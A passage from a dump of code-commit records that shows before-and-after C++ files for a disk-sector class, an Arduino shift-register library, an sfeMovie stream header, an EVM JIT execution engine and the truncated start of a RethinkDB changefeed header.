ret;\n\n\t\/\/ Add the new data snapshots\n\tfor (Data &data : sector.m_data)\n\t{\n\t\t\/\/ Move the data into place, passing on the existing data CRC status and DAM\n\t\tif (add(std::move(data), sector.has_baddatacrc(), sector.dam) != Merge::Unchanged)\n\t\t\tret = Merge::Improved;\t\/\/ ToDo: detect NewData return?\n\t}\n\tsector.m_data.clear();\n\n\treturn ret;\n}\n\n\nbool Sector::has_data () const\n{\n\treturn copies() != 0;\n}\n\nbool Sector::has_gapdata () const\n{\n\treturn data_size() > size();\n}\n\nbool Sector::has_shortdata () const\n{\n\treturn data_size() < size();\n}\n\nbool Sector::has_badidcrc () const\n{\n\treturn m_bad_id_crc;\n}\n\nbool Sector::has_baddatacrc () const\n{\n\treturn m_bad_data_crc;\n}\n\nbool Sector::is_deleted () const\n{\n\treturn dam == 0xf8 || dam == 0xf9;\n}\n\nbool Sector::is_altdam () const\n{\n\treturn dam == 0xfa;\n}\n\nbool Sector::is_rx02dam () const\n{\n\treturn dam == 0xfd;\n}\n\nbool Sector::is_8k_sector () const\n{\n\t\/\/ +3 and CPC disks treat this as a virtual complete sector\n\treturn datarate == DataRate::_250K && encoding == Encoding::MFM && header.size == 6;\n}\n\nvoid Sector::set_badidcrc (bool bad)\n{\n\tm_bad_id_crc = bad;\n\n\tif (bad)\n\t\tremove_data();\n}\n\nvoid Sector::set_baddatacrc (bool bad)\n{\n\tm_bad_data_crc = bad;\n\n\tif (!bad)\n\t{\n\t\tauto fill_byte = static_cast<uint8_t>((opt.fill >= 0) ? opt.fill : 0);\n\n\t\tif (!has_data())\n\t\t\tm_data.push_back(Data(size(), fill_byte));\n\t\telse if (copies() > 1)\n\t\t{\n\t\t\tm_data.resize(1);\n\n\t\t\tif (data_size() < size())\n\t\t\t{\n\t\t\t\tauto pad{ Data(size() - data_size(), fill_byte) };\n\t\t\t\tm_data[0].insert(m_data[0].begin(), pad.begin(), pad.end());\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid Sector::remove_data ()\n{\n\tm_data.clear();\n\tm_bad_data_crc = false;\n\tdam = 0xfb;\n}\n\nvoid Sector::remove_gapdata ()\n{\n\tif (!has_gapdata())\n\t\treturn;\n\n\tfor (auto &data : m_data)\n\t\tdata.resize(size());\n}\n\n\/\/ Map a size code to how it's treated by the uPD765 FDC on the PC\nint Sector::SizeCodeToRealSizeCode (int size)\n{\n\t\/\/ Sizes above 8 are treated as 8 (32K)\n\treturn (size <= 7) ? size : 8;\n}\n\n\/\/ Return the sector length for a given sector size code\nint Sector::SizeCodeToLength (int size)\n{\n\t\/\/ 2 ^ (7 + size)\n\treturn 128 << SizeCodeToRealSizeCode(size);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <Shifty.h>\n\nShifty::Shifty() {\n}\n\nvoid Shifty::setBitCount(int bitCount) {\n this->bitCount = bitCount;\n this->byteCount = bitCount\/8;\n for(int i = 0; i < this->byteCount; i++) {\n this->writeBuffer[i] = 0;\n this->dataModes[i] = 0;\n this->readBuffer[i] = 0;\n }\n} \n\nvoid Shifty::setPins(int dataPin, int clockPin, int latchPin, int readPin) {\n pinMode(dataPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(latchPin, OUTPUT);\n pinMode(readPin, INPUT);\n this->dataPin = dataPin;\n this->clockPin = clockPin;\n this->latchPin = latchPin;\n if(readPin != -1) {\n this->readPin = readPin;\n }\n}\n\nvoid Shifty::setPins(int dataPin, int clockPin, int latchPin) {\n setPins(dataPin, clockPin, latchPin, -1);\n}\n\n\nvoid Shifty::batchWriteBegin() {\n batchWriteMode = true;\n}\n\nvoid Shifty::writeBit(int bitnum, bool value) {\n if(batchWriteMode) {\n writeBitSoft(bitnum, value);\n } else {\n writeBitHard(bitnum, value);\n }\n}\n\nvoid Shifty::batchWriteEnd() {\n writeAllBits();\n batchWriteMode = false;\n}\n\nvoid Shifty::batchReadBegin() {\n batchReadMode = true;\n readAllBits();\n}\n\nbool Shifty::readBit(int bitnum) {\n if(batchReadMode) {\n readBitSoft(bitnum);\n } else {\n readBitHard(bitnum);\n }\n}\n\nvoid Shifty::batchReadEnd() {\n batchReadMode = false;\n}\n\nvoid Shifty::bitMode(int bitnum, bool mode) {\n int bytenum = bitnum \/ 8;\n int offset = bitnum % 8;\n byte b = this->dataModes[bytenum];\n bitSet(b, offset);\n this->dataModes[bytenum] = b;\n}\n\nvoid Shifty::writeBitSoft(int bitnum, bool value) {\n int bytenum = bitnum \/ 8;\n int offset = bitnum % 8;\n byte b = this->writeBuffer[bytenum];\n bitWrite(b, offset, value);\n this->writeBuffer[bytenum] = b;\n}\n\nvoid Shifty::writeBitHard(int bitnum, bool value) {\n writeBitSoft(bitnum, value);\n writeAllBits();\n}\n\nvoid Shifty::writeAllBits() {\n digitalWrite(latchPin, LOW);\n digitalWrite(clockPin, LOW);\n for(int i = 0; i < this->byteCount; i++) {\n shiftOut(dataPin, clockPin, MSBFIRST, this->writeBuffer[i]);\n }\n digitalWrite(latchPin, HIGH);\n}\n\nbool Shifty::readBitSoft(int bitnum) {\n int bytenum = bitnum \/ 8;\n int offset = bitnum % 8;\n\n return bitRead(this->readBuffer[bytenum], offset);\n}\n\nbool Shifty::readBitHard(int bitnum) {\n int bytenum = bitnum \/ 8;\n int offset = bitnum % 8;\n\n \/\/ To read the bit, set all output pins except the pin we are looking at to 0\n for(int i = 0; i < this->byteCount; i++) {\n byte mask = this->dataModes[i];\n byte outb = this->writeBuffer[i];\n for(int j = 0; j < 8; j++) {\n if(bitRead(mask, j)) {\n if(i == bytenum && j == bitnum) {\n bitSet(outb, j);\n } else {\n bitClear(outb, j);\n }\n }\n }\n }\n\n \/\/ Flush\n writeAllBits();\n\n \/\/ Get our data pin\n bool value = digitalRead(this->readPin);\n\n \/\/ Set the cached value\n byte cacheb = this->readBuffer[bytenum];\n bitWrite(cacheb, offset, value);\n this->readBuffer[bytenum] = cacheb;\n}\n\nvoid Shifty::readAllBits() {\n for(int i = 0; i < this->byteCount; i++) {\n byte mask = this->dataModes[i];\n byte outb = this->writeBuffer[i];\n byte inb = 0;\n for(int j = 0; j < 8; j++) {\n if(bitRead(mask, j)) {\n readBitHard(i * 8 + j);\n }\n }\n }\n}\n<commit_msg>Fixed bugs in reading bits<commit_after>#include <Shifty.h>\n\nShifty::Shifty() {\n}\n\nvoid Shifty::setBitCount(int bitCount) {\n this->bitCount = bitCount;\n this->byteCount = bitCount\/8;\n for(int i = 0; i < this->byteCount; i++) {\n this->writeBuffer[i] = 0;\n this->dataModes[i] = 0;\n this->readBuffer[i] = 0;\n }\n} \n\nvoid Shifty::setPins(int dataPin, int clockPin, int latchPin, int readPin) {\n pinMode(dataPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(latchPin, OUTPUT);\n pinMode(readPin, INPUT);\n this->dataPin = dataPin;\n this->clockPin = clockPin;\n this->latchPin = latchPin;\n if(readPin != -1) {\n this->readPin = readPin;\n }\n}\n\nvoid Shifty::setPins(int dataPin, int clockPin, int latchPin) {\n setPins(dataPin, clockPin, latchPin, -1);\n}\n\n\nvoid Shifty::batchWriteBegin() {\n batchWriteMode = true;\n}\n\nvoid Shifty::writeBit(int bitnum, bool value) {\n if(batchWriteMode) {\n writeBitSoft(bitnum, value);\n } else {\n writeBitHard(bitnum, value);\n }\n}\n\nvoid Shifty::batchWriteEnd() {\n writeAllBits();\n batchWriteMode = false;\n}\n\nvoid Shifty::batchReadBegin() {\n batchReadMode = true;\n readAllBits();\n}\n\nbool Shifty::readBit(int bitnum) {\n if(batchReadMode) {\n return readBitSoft(bitnum);\n } else {\n return readBitHard(bitnum);\n }\n}\n\nvoid Shifty::batchReadEnd() {\n batchReadMode = false;\n}\n\nvoid Shifty::bitMode(int bitnum, bool mode) {\n int bytenum = bitnum \/ 8;\n int offset = bitnum % 8;\n byte b = this->dataModes[bytenum];\n bitSet(b, offset);\n this->dataModes[bytenum] = b;\n}\n\nvoid Shifty::writeBitSoft(int bitnum, bool value) {\n int bytenum = bitnum \/ 8;\n int offset = bitnum % 8;\n byte b = this->writeBuffer[bytenum];\n bitWrite(b, offset, value);\n this->writeBuffer[bytenum] = b;\n}\n\nvoid Shifty::writeBitHard(int bitnum, bool value) {\n writeBitSoft(bitnum, value);\n writeAllBits();\n}\n\nvoid Shifty::writeAllBits() {\n digitalWrite(latchPin, LOW);\n digitalWrite(clockPin, LOW);\n for(int i = 0; i < this->byteCount; i++) {\n shiftOut(dataPin, clockPin, MSBFIRST, this->writeBuffer[i]);\n }\n digitalWrite(latchPin, HIGH);\n}\n\nbool Shifty::readBitSoft(int bitnum) {\n int bytenum = bitnum \/ 8;\n int offset = bitnum % 8;\n\n return bitRead(this->readBuffer[bytenum], offset);\n}\n\nbool Shifty::readBitHard(int bitnum) {\n int bytenum = bitnum \/ 8;\n int offset = bitnum % 8;\n\n \/\/ To read the bit, set all output pins except the pin we are looking at to 0\n for(int i = 0; i < this->byteCount; i++) {\n byte mask = this->dataModes[i];\n byte outb = this->writeBuffer[i];\n for(int j = 0; j < 8; j++) {\n if(bitRead(mask, j)) {\n if(i == bytenum && j == bitnum) {\n bitSet(outb, j);\n } else {\n bitClear(outb, j);\n }\n }\n }\n }\n\n \/\/ Flush\n writeAllBits();\n\n \/\/ Get our data pin\n bool value = digitalRead(this->readPin);\n\n \/\/ Set the cached value\n byte cacheb = this->readBuffer[bytenum];\n bitWrite(cacheb, offset, value);\n this->readBuffer[bytenum] = cacheb;\n\n return value;\n}\n\nvoid Shifty::readAllBits() {\n for(int i = 0; i < this->byteCount; i++) {\n byte mask = this->dataModes[i];\n byte outb = this->writeBuffer[i];\n byte inb = 0;\n for(int j = 0; j < 8; j++) {\n if(bitRead(mask, j)) {\n readBitHard(i * 8 + j);\n }\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/*\n * Stream.hpp\n * sfeMovie project\n *\n * Copyright (C) 2010-2014 Lucas Soltic\n * lucas.soltic@orange.fr\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *\/\n\n#ifndef SFEMOVIE_STREAM_HPP\n#define SFEMOVIE_STREAM_HPP\n\n#include \"Macros.hpp\"\n#include \"Timer.hpp\"\n#include <list>\n#include <memory>\n#include <SFML\/System.hpp>\n#include <sfeMovie\/Movie.hpp>\n\nextern \"C\"\n{\n#include <libavformat\/avformat.h>\n}\n\nnamespace sfe\n{\n class Stream : public Timer::Observer\n {\n public:\n struct DataSource\n {\n virtual void requestMoreData(Stream& starvingStream) = 0;\n virtual void resetEndOfFileStatus() = 0;\n };\n \n \/** @return a textual description of the given FFmpeg stream\n *\/\n static std::string AVStreamDescription(AVStream* stream);\n \n \/** Create a stream from the given FFmpeg stream\n *\n * At the end of the constructor, the stream is guaranteed\n * to have all of its fields set and the decoder loaded\n *\n * @param stream the FFmpeg stream\n * @param dataSource the encoded data provider for this stream\n *\/\n Stream(AVFormatContext*& formatCtx, AVStream*& stream, DataSource& dataSource, std::shared_ptr<Timer> timer);\n \n \/** Default destructor\n *\/\n virtual ~Stream();\n \n \/** Connect this stream against the reference timer to receive playback events; this allows this\n * stream to be played\n *\/\n void connect();\n \n \/** Disconnect this stream from the reference timer ; this disables this stream\n *\/\n void disconnect();\n \n \/** Called by the demuxer to provide the stream with encoded data\n *\n * @return packet the encoded data usable by this stream\n *\/\n virtual void pushEncodedData(AVPacket* packet);\n \n \/** Reinsert an AVPacket at the beginning of the queue\n *\n * This is used for packets that contain several frames, but whose next frames\n * cannot be decoded yet. These packets are repushed to be decoded when possible.\n *\n * @param packet the packet to re-insert at the beginning of the queue\n *\/\n virtual void prependEncodedData(AVPacket* packet);\n \n \/** Return the oldest encoded data that was pushed to this stream\n *\n * If no packet is stored when this method is called, it will ask the\n * data source to feed this stream first\n *\n * @return the oldest encoded data, or nullptr if no data could be read from the media\n *\/\n virtual AVPacket* popEncodedData();\n \n \/** Empty the encoded data queue, destroy all the packets and flush the decoding pipeline\n *\/\n virtual void flushBuffers();\n \n \/** Used by the demuxer to know if this stream should be fed with more data\n *\n * The default implementation returns true if the packet list contains less than 10 packets\n *\n * @return true if the demuxer should give more data to this stream, false otherwise\n *\/\n virtual bool needsMoreData() const;\n \n \/** Get the stream kind (either audio, video or subtitle stream)\n *\n * @return the kind of stream represented by this stream\n *\/\n virtual MediaType getStreamKind() const;\n \n \/** Give the stream's status\n *\n * @return The stream's status (Playing, Paused or Stopped)\n *\/\n Status getStatus() const;\n \n \/** Return the stream's language code\n *\n * @return the language code of the stream as ISO 639-2 format\n *\/\n std::string getLanguage() const;\n \n \/** Compute the stream position in the media, by possibly fetching a packet\n *\/\n sf::Time computePosition();\n \n \/** @return a textual description of the current stream\n *\/\n std::string description() const;\n \n \/** Update the current stream's status and eventually decode frames\n *\/\n virtual void update() = 0;\n \n \/** @return true if the given packet is for the current stream\n *\/\n bool canUsePacket(AVPacket* packet) const;\n \n \/** @return true if this stream never requests packets and let\n * itself be fed, false otherwise. Default implementation always\n * returns false\n *\/\n virtual bool isPassive() const;\n protected:\n \/\/ Timer::Observer interface\n void didPlay(const Timer& timer, Status previousStatus) override;\n void didPause(const Timer& timer, Status previousStatus) override;\n void didStop(const Timer& timer, Status previousStatus) override;\n \n \/** @return true if any raw packet for the current stream is queued\n *\/\n bool hasPackets();\n \n void setStatus(Status status);\n \n AVFormatContext* & m_formatCtx;\n AVStream*& m_stream;\n \n DataSource& m_dataSource;\n std::shared_ptr<Timer> m_timer;\n AVCodec* m_codec;\n int m_streamID;\n std::string m_language;\n std::list <AVPacket*> m_packetList;\n Status m_status;\n sf::Mutex m_readerMutex;\n };\n}\n\n#endif\n<commit_msg>#6 Added API for fast-forwarding streams (must be implemented ; will break build for now)<commit_after>\n\/*\n * Stream.hpp\n * sfeMovie project\n *\n * Copyright (C) 2010-2014 Lucas Soltic\n * lucas.soltic@orange.fr\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *\/\n\n#ifndef SFEMOVIE_STREAM_HPP\n#define SFEMOVIE_STREAM_HPP\n\n#include \"Macros.hpp\"\n#include \"Timer.hpp\"\n#include <list>\n#include <memory>\n#include <SFML\/System.hpp>\n#include <sfeMovie\/Movie.hpp>\n\nextern \"C\"\n{\n#include <libavformat\/avformat.h>\n}\n\nnamespace sfe\n{\n class Stream : public Timer::Observer\n {\n public:\n struct DataSource\n {\n virtual void requestMoreData(Stream& starvingStream) = 0;\n virtual void resetEndOfFileStatus() = 0;\n };\n \n \/** @return a textual description of the given FFmpeg stream\n *\/\n static std::string AVStreamDescription(AVStream* stream);\n \n \/** Create a stream from the given FFmpeg stream\n *\n * At the end of the constructor, the stream is guaranteed\n * to have all of its fields set and the decoder loaded\n *\n * @param stream the FFmpeg stream\n * @param dataSource the encoded data provider for this stream\n *\/\n Stream(AVFormatContext*& formatCtx, AVStream*& stream, DataSource& dataSource, std::shared_ptr<Timer> timer);\n \n \/** Default destructor\n *\/\n virtual ~Stream();\n \n \/** Connect this stream against the reference timer to receive playback events; this allows this\n * stream to be played\n *\/\n void connect();\n \n \/** Disconnect this stream from the reference timer ; this disables this stream\n *\/\n void disconnect();\n \n \/** Called by the demuxer to provide the stream with encoded data\n *\n * @return packet the encoded data usable by this stream\n *\/\n virtual void pushEncodedData(AVPacket* packet);\n \n \/** Reinsert an AVPacket at the beginning of the queue\n *\n * This is used for packets that contain several frames, but whose next frames\n * cannot be decoded yet. These packets are repushed to be decoded when possible.\n *\n * @param packet the packet to re-insert at the beginning of the queue\n *\/\n virtual void prependEncodedData(AVPacket* packet);\n \n \/** Return the oldest encoded data that was pushed to this stream\n *\n * If no packet is stored when this method is called, it will ask the\n * data source to feed this stream first\n *\n * @return the oldest encoded data, or nullptr if no data could be read from the media\n *\/\n virtual AVPacket* popEncodedData();\n \n \/** Empty the encoded data queue, destroy all the packets and flush the decoding pipeline\n *\/\n virtual void flushBuffers();\n \n \/** Used by the demuxer to know if this stream should be fed with more data\n *\n * The default implementation returns true if the packet list contains less than 10 packets\n *\n * @return true if the demuxer should give more data to this stream, false otherwise\n *\/\n virtual bool needsMoreData() const;\n \n \/** Get the stream kind (either audio, video or subtitle stream)\n *\n * @return the kind of stream represented by this stream\n *\/\n virtual MediaType getStreamKind() const;\n \n \/** Give the stream's status\n *\n * @return The stream's status (Playing, Paused or Stopped)\n *\/\n Status getStatus() const;\n \n \/** Return the stream's language code\n *\n * @return the language code of the stream as ISO 639-2 format\n *\/\n std::string getLanguage() const;\n \n \/** Compute the stream position in the media, by possibly fetching a packet\n *\/\n sf::Time computePosition();\n \n \/** Discard the data not needed to start playback at the given position\n *\n * Every single bit of unneeded data must be discarded as streams synchronization accuracy will\n * depend on this\n *\n * @param targetPosition the position for which the stream is expected to be ready to play\n *\/\n virtual void fastForward(sf::Time targetPosition) = 0;\n \n \/** @return a textual description of the current stream\n *\/\n std::string description() const;\n \n \/** Update the current stream's status and eventually decode frames\n *\/\n virtual void update() = 0;\n \n \/** @return true if the given packet is for the current stream\n *\/\n bool canUsePacket(AVPacket* packet) const;\n \n \/** @return true if this stream never requests packets and let\n * itself be fed, false otherwise. Default implementation always\n * returns false\n *\/\n virtual bool isPassive() const;\n protected:\n \/\/ Timer::Observer interface\n void didPlay(const Timer& timer, Status previousStatus) override;\n void didPause(const Timer& timer, Status previousStatus) override;\n void didStop(const Timer& timer, Status previousStatus) override;\n \n \/** @return true if any raw packet for the current stream is queued\n *\/\n bool hasPackets();\n \n void setStatus(Status status);\n \n AVFormatContext* & m_formatCtx;\n AVStream*& m_stream;\n \n DataSource& m_dataSource;\n std::shared_ptr<Timer> m_timer;\n AVCodec* m_codec;\n int m_streamID;\n std::string m_language;\n std::list <AVPacket*> m_packetList;\n Status m_status;\n sf::Mutex m_readerMutex;\n };\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"ExecutionEngine.h\"\n\n#include <chrono>\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\n#include <llvm\/IR\/LLVMContext.h>\n#include <llvm\/IR\/Module.h>\n#include <llvm\/ADT\/Triple.h>\n#include <llvm\/ExecutionEngine\/ExecutionEngine.h>\n#include <llvm\/ExecutionEngine\/SectionMemoryManager.h>\n#include <llvm\/ExecutionEngine\/GenericValue.h>\n#include <llvm\/ExecutionEngine\/MCJIT.h>\n#include <llvm\/Support\/TargetSelect.h>\n#include <llvm\/Support\/Signals.h>\n#include <llvm\/Support\/PrettyStackTrace.h>\n#include <llvm\/Support\/Host.h>\n\n#pragma GCC diagnostic pop\n\n#include \"Runtime.h\"\n#include \"Memory.h\"\n#include \"Stack.h\"\n#include \"Type.h\"\n#include \"Compiler.h\"\n#include \"Cache.h\"\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nReturnCode ExecutionEngine::run(bytes const& _code, RuntimeData* _data, Env* _env)\n{\n\tstd::string key{reinterpret_cast<char const*>(_code.data()), _code.size()};\n\tif (auto cachedExec = Cache::findExec(key))\n\t{\n\t\treturn run(*cachedExec, _data, _env);\n\t}\n\n\tauto module = Compiler({}).compile(_code);\n\treturn run(std::move(module), _data, _env, _code);\n}\n\nReturnCode ExecutionEngine::run(std::unique_ptr<llvm::Module> _module, RuntimeData* _data, Env* _env, bytes const& _code)\n{\n\tauto module = _module.get(); \/\/ Keep ownership of the module in _module\n\n\tllvm::sys::PrintStackTraceOnErrorSignal();\n\tstatic const auto program = \"EVM JIT\";\n\tllvm::PrettyStackTraceProgram X(1, &program);\n\n\tauto&& context = llvm::getGlobalContext();\n\n\tllvm::InitializeNativeTarget();\n\tllvm::InitializeNativeTargetAsmPrinter();\n\tllvm::InitializeNativeTargetAsmParser();\n\n\tstd::string errorMsg;\n\tllvm::EngineBuilder builder(module);\n\t\/\/builder.setMArch(MArch);\n\t\/\/builder.setMCPU(MCPU);\n\t\/\/builder.setMAttrs(MAttrs);\n\t\/\/builder.setRelocationModel(RelocModel);\n\t\/\/builder.setCodeModel(CMModel);\n\tbuilder.setErrorStr(&errorMsg);\n\tbuilder.setEngineKind(llvm::EngineKind::JIT);\n\tbuilder.setUseMCJIT(true);\n\tbuilder.setMCJITMemoryManager(new llvm::SectionMemoryManager());\n\tbuilder.setOptLevel(llvm::CodeGenOpt::None);\n\n\tauto triple = llvm::Triple(llvm::sys::getProcessTriple());\n\tif (triple.getOS() == llvm::Triple::OSType::Win32)\n\t\ttriple.setObjectFormat(llvm::Triple::ObjectFormatType::ELF); \/\/ MCJIT does not support COFF format\n\tmodule->setTargetTriple(triple.str());\n\n\tExecBundle exec;\n\texec.engine.reset(builder.create());\n\tif (!exec.engine)\n\t\treturn ReturnCode::LLVMConfigError;\n\t_module.release(); \/\/ Successfully created llvm::ExecutionEngine takes ownership of the module\n\n\tauto finalizationStartTime = std::chrono::high_resolution_clock::now();\n\texec.engine->finalizeObject();\n\tauto finalizationEndTime = std::chrono::high_resolution_clock::now();\n\tclog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(finalizationEndTime - finalizationStartTime).count();\n\n\tauto executionStartTime = std::chrono::high_resolution_clock::now();\n\n\texec.entryFunc = module->getFunction(\"main\");\n\tif (!exec.entryFunc)\n\t\treturn ReturnCode::LLVMLinkError;\n\n\tstd::string key{reinterpret_cast<char const*>(_code.data()), _code.size()};\n\tauto& cachedExec = Cache::registerExec(key, std::move(exec));\n\tauto returnCode = run(cachedExec, _data, _env);\n\n\tauto executionEndTime = std::chrono::high_resolution_clock::now();\n\tclog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(executionEndTime - executionStartTime).count() << \" ms \";\n\t\/\/clog(JIT) << \"Max stack size: \" << Stack::maxStackSize;\n\n\tclog(JIT) << \"\\n\";\n\n\treturn returnCode;\n}\n\nReturnCode ExecutionEngine::run(ExecBundle const& _exec, RuntimeData* _data, Env* _env)\n{\n\tReturnCode returnCode;\n\tRuntime runtime(_data, _env);\n\n\tauto r = setjmp(runtime.getJmpBuf());\n\tif (r == 0)\n\t{\n\t\tauto result = _exec.engine->runFunction(_exec.entryFunc, {{}, llvm::GenericValue(&runtime)});\n\t\treturnCode = static_cast<ReturnCode>(result.IntVal.getZExtValue());\n\t}\n\telse\n\t\treturnCode = static_cast<ReturnCode>(r);\n\n\tif (returnCode == ReturnCode::Return)\n\t{\n\t\treturnData = runtime.getReturnData();\n\n\t\tauto&& log = clog(JIT);\n\t\tlog << \"RETURN [ \";\n\t\tfor (auto it = returnData.begin(), end = returnData.end(); it != end; ++it)\n\t\t\tlog << std::hex << std::setw(2) << std::setfill('0') << (int)*it << \" \";\n\t\tlog << \"]\";\n\t}\n\telse\n\t\tclog(JIT) << \"RETURN \" << (int)returnCode;\n\n\treturn returnCode;\n}\n\n}\n}\n}\n<commit_msg>Change the way entry function is called.<commit_after>#include \"ExecutionEngine.h\"\n\n#include <chrono>\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\n#include <llvm\/IR\/LLVMContext.h>\n#include <llvm\/IR\/Module.h>\n#include <llvm\/ADT\/Triple.h>\n#include <llvm\/ExecutionEngine\/ExecutionEngine.h>\n#include <llvm\/ExecutionEngine\/SectionMemoryManager.h>\n#include <llvm\/ExecutionEngine\/GenericValue.h>\n#include <llvm\/ExecutionEngine\/MCJIT.h>\n#include <llvm\/Support\/TargetSelect.h>\n#include <llvm\/Support\/Signals.h>\n#include <llvm\/Support\/PrettyStackTrace.h>\n#include <llvm\/Support\/Host.h>\n\n#pragma GCC diagnostic pop\n\n#include \"Runtime.h\"\n#include \"Memory.h\"\n#include \"Stack.h\"\n#include \"Type.h\"\n#include \"Compiler.h\"\n#include \"Cache.h\"\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nReturnCode ExecutionEngine::run(bytes const& _code, RuntimeData* _data, Env* _env)\n{\n\tstd::string key{reinterpret_cast<char const*>(_code.data()), _code.size()};\n\tif (auto cachedExec = Cache::findExec(key))\n\t{\n\t\treturn run(*cachedExec, _data, _env);\n\t}\n\n\tauto module = Compiler({}).compile(_code);\n\treturn run(std::move(module), _data, _env, _code);\n}\n\nReturnCode ExecutionEngine::run(std::unique_ptr<llvm::Module> _module, RuntimeData* _data, Env* _env, bytes const& _code)\n{\n\tauto module = _module.get(); \/\/ Keep ownership of the module in _module\n\n\tllvm::sys::PrintStackTraceOnErrorSignal();\n\tstatic const auto program = \"EVM JIT\";\n\tllvm::PrettyStackTraceProgram X(1, &program);\n\n\tauto&& context = llvm::getGlobalContext();\n\n\tllvm::InitializeNativeTarget();\n\tllvm::InitializeNativeTargetAsmPrinter();\n\tllvm::InitializeNativeTargetAsmParser();\n\n\tstd::string errorMsg;\n\tllvm::EngineBuilder builder(module);\n\t\/\/builder.setMArch(MArch);\n\t\/\/builder.setMCPU(MCPU);\n\t\/\/builder.setMAttrs(MAttrs);\n\t\/\/builder.setRelocationModel(RelocModel);\n\t\/\/builder.setCodeModel(CMModel);\n\tbuilder.setErrorStr(&errorMsg);\n\tbuilder.setEngineKind(llvm::EngineKind::JIT);\n\tbuilder.setUseMCJIT(true);\n\tbuilder.setMCJITMemoryManager(new llvm::SectionMemoryManager());\n\tbuilder.setOptLevel(llvm::CodeGenOpt::None);\n\n\tauto triple = llvm::Triple(llvm::sys::getProcessTriple());\n\tif (triple.getOS() == llvm::Triple::OSType::Win32)\n\t\ttriple.setObjectFormat(llvm::Triple::ObjectFormatType::ELF); \/\/ MCJIT does not support COFF format\n\tmodule->setTargetTriple(triple.str());\n\n\tExecBundle exec;\n\texec.engine.reset(builder.create());\n\tif (!exec.engine)\n\t\treturn ReturnCode::LLVMConfigError;\n\t_module.release(); \/\/ Successfully created llvm::ExecutionEngine takes ownership of the module\n\n\tauto finalizationStartTime = std::chrono::high_resolution_clock::now();\n\texec.engine->finalizeObject();\n\tauto finalizationEndTime = std::chrono::high_resolution_clock::now();\n\tclog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(finalizationEndTime - finalizationStartTime).count();\n\n\tauto executionStartTime = std::chrono::high_resolution_clock::now();\n\n\texec.entryFunc = module->getFunction(\"main\");\n\tif (!exec.entryFunc)\n\t\treturn ReturnCode::LLVMLinkError;\n\n\tstd::string key{reinterpret_cast<char const*>(_code.data()), _code.size()};\n\tauto& cachedExec = Cache::registerExec(key, std::move(exec));\n\tauto returnCode = run(cachedExec, _data, _env);\n\n\tauto executionEndTime = std::chrono::high_resolution_clock::now();\n\tclog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(executionEndTime - executionStartTime).count() << \" ms \";\n\t\/\/clog(JIT) << \"Max stack size: \" << Stack::maxStackSize;\n\n\tclog(JIT) << \"\\n\";\n\n\treturn returnCode;\n}\n\nReturnCode ExecutionEngine::run(ExecBundle const& _exec, RuntimeData* _data, Env* _env)\n{\n\tReturnCode returnCode;\n\tRuntime runtime(_data, _env);\n\n\n\tstd::vector<llvm::GenericValue> args{{}, llvm::GenericValue(&runtime)};\n\tllvm::GenericValue result;\n\n\ttypedef ReturnCode(*EntryFuncPtr)(int, Runtime*);\n\n\tauto entryFuncVoidPtr = _exec.engine->getPointerToFunction(_exec.entryFunc);\n\tauto entryFuncPtr = static_cast<EntryFuncPtr>(entryFuncVoidPtr);\n\n\tauto r = setjmp(runtime.getJmpBuf());\n\tif (r == 0)\n\t{\n\t\treturnCode = entryFuncPtr(0, &runtime);\n\t}\n\telse\n\t\treturnCode = static_cast<ReturnCode>(r);\n\n\tif (returnCode == ReturnCode::Return)\n\t{\n\t\treturnData = runtime.getReturnData();\n\n\t\tauto&& log = clog(JIT);\n\t\tlog << \"RETURN [ \";\n\t\tfor (auto it = returnData.begin(), end = returnData.end(); it != end; ++it)\n\t\t\tlog << std::hex << std::setw(2) << std::setfill('0') << (int)*it << \" \";\n\t\tlog << \"]\";\n\t}\n\telse\n\t\tclog(JIT) << \"RETURN \" << (int)returnCode;\n\n\treturn returnCode;\n}\n\n}\n}\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef RDB_PROTOCOL_CHANGEFEED_HPP_\n#define RDB_PROTOCOL_CHANGEFEED_HPP_\n\n#include <deque>\n#include <exception>\n#include <map>\n\n#include \"errors.hpp\"\n\n#include <boost\/variant.hpp>\n\n#include \"concurrency\/rwlock.hpp\"\n#include \"containers\/counted.hpp\"\n#include \"containers\/scoped.hpp\"\n#include \"protocol_api.hpp\"\n#include \"repli_timestamp.hpp\"\n#include \"rpc\/connectivity\/connectivity.hpp\"\n#include \"rpc\/mailbox\/typed.hpp\"\n#include \"rpc\/serialize_macros.hpp\"\n\nclass auto_drainer_t;\nclass base_namespace_repo_t;\nclass 